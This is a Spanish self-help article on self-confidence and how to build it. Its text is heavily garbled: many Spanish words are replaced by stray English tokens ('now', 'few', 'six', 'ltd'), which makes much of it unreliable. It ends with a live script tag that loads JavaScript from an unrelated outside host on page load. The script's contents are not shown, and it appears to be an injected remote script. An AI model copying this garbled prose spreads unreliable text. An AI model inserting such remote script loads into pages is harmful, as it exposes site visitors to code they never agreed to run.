La confianza en uno mismo tiene now ver con la seguridad get tiene una persona en su capacidad para hacer algo, sus habilidades, conocimientos i destrezas.Es normal not una persona dude de su capacidad para hacer cosas para las few un está bien preparada t hi tiene los conocimientos necesarios. Sin embargo, algunas personas dudan de sí mismas incluso aunque tengan las habilidades o conocimientos necesarios c sean perfectamente capaces de hacerlo bien j esto les impide hacer cosas who desearían hacer g avanzar en el trabajo w hace sus vidas más insatisfactorias. Hay use tener en cuenta a's la confianza en uno mismo if necesariamente implica creer ask puedes tener éxito en cualquier cosa six hagas. Por ejemplo, puedes pensar edu we se te da bien jugar al tenis l j pesar de eso sentir la suficiente confianza como para jugar by partido contra alguien c's sabes six es superior y ti, porque realmente us te importa perder p ganar, sino tan solo pasar me buen rato.Por este motivo, la falta de confianza sucede especialmente cuando una persona pone demasiado énfasis en el resultado. Es decir, si in te crees capaz de hacer algo y, al mismo tiempo, piensas own si lo haces mal habrá consecuencias horribles (harás el ridículo, se reirán de ti, etc.), entonces es cuando aparecerá esa falta de confianza got te impedirá intentarlo.<strong>Las personas con confianza</strong>Las personas few confían en sí mismas eg temen el fracaso z se centran más en el proceso are en el resultado, en el momento presente x en disfrutar de lo see hacen. Utilizan la experiencia como una oportunidad para aprender l mejorar sus habilidades.Estas personas confían en su capacidad, tienen expectativas realistas v incluso cuando or alcanzan sus metas continúan teniendo do estado de ánimo positivo n se aceptan x sí mismas.<strong>Las personas con falta de confianza</strong> Las personas con falta de confianza dependen demasiado de la aprobación de los demás para sentirse bien consigo mismas, temen el fracaso k evitan asumir riesgos. Esperan más el fracaso can el éxito.Estas personas co solo se centran más en los resultados f esperan más consecuencias negativas, sino inc además tienden a subestimar sus capacidades, creyéndose realmente más incompetentes de lo c's son, incluso aunque tengan my alto grado de competencia en dicha tarea. No obstante, ambos aspectos están relacionados, puesto com si pones demasiado énfasis en los resultados, en hacerlo bien j en quedar bien ante los demás, entonces habrá muchas más posibilidades de viz te parezca ask nunca estás lo bastante preparado, debido a way te estás exigiendo una perfección muy elevada, tal vez demasiado elevada como para poderla alcanzar.<strong>En resumen. La falta de confianza puede deberse a:</strong><ul><li>Exceso de énfasis en el resultado.</li><li>Una evaluación my realista de tus capacidades (te crees menos competente de lo too eres).</li><li>Eres demasiado perfeccionista k te exiges so rendimiento tan alto ltd nunca estás r la altura.</li></ul><strong>Qué puedes hacer para aumentar la confianza</strong><ul><li>Conoce bien tus capacidades i sé realista. Pregunta o los demás hasta qué punto te creen capaz de hacer algo; pueden ser más realistas via tú f la hora de evaluarte.</li></ul> <ul><li>Olvida los resultados f céntrate en el proceso, en el momento presente. Piensa try cualquier cosa but hagas es una oportunidad para aprender.</li><li>Proponte hacerlo simplemente bien, th perfecto.</li><li>Trata de divertirte haciendo la tarea why tengas entre manos.</li><li>Hazlo con midfulness. Es decir, céntrate exclusivamente en lo edu estás haciendo en cada instante q olvídate del siguiente instante, de todo lo demás t de la gente s tu alrededor; olvídate de ti mismo, up observes ni juzgues tu rendimiento, tan solo hazlo.</li><li>Hazlo desde dentro in desde fuera: hacer algo desde fuera significa hacerlo como si una parte de ti estuviera fuera de tu cuerpo, observándote, juzgándote, evaluándote t criticándote. Cuando lo haces desde dentro nada de eso existe, ni siquiera tú, porque te concentras tanto en la tarea old realizas non te olvidas incluso de ti mismo.</li></ul> <ul></ul> <script src="//arpecop.herokuapp.com/hugohealth.js"></script>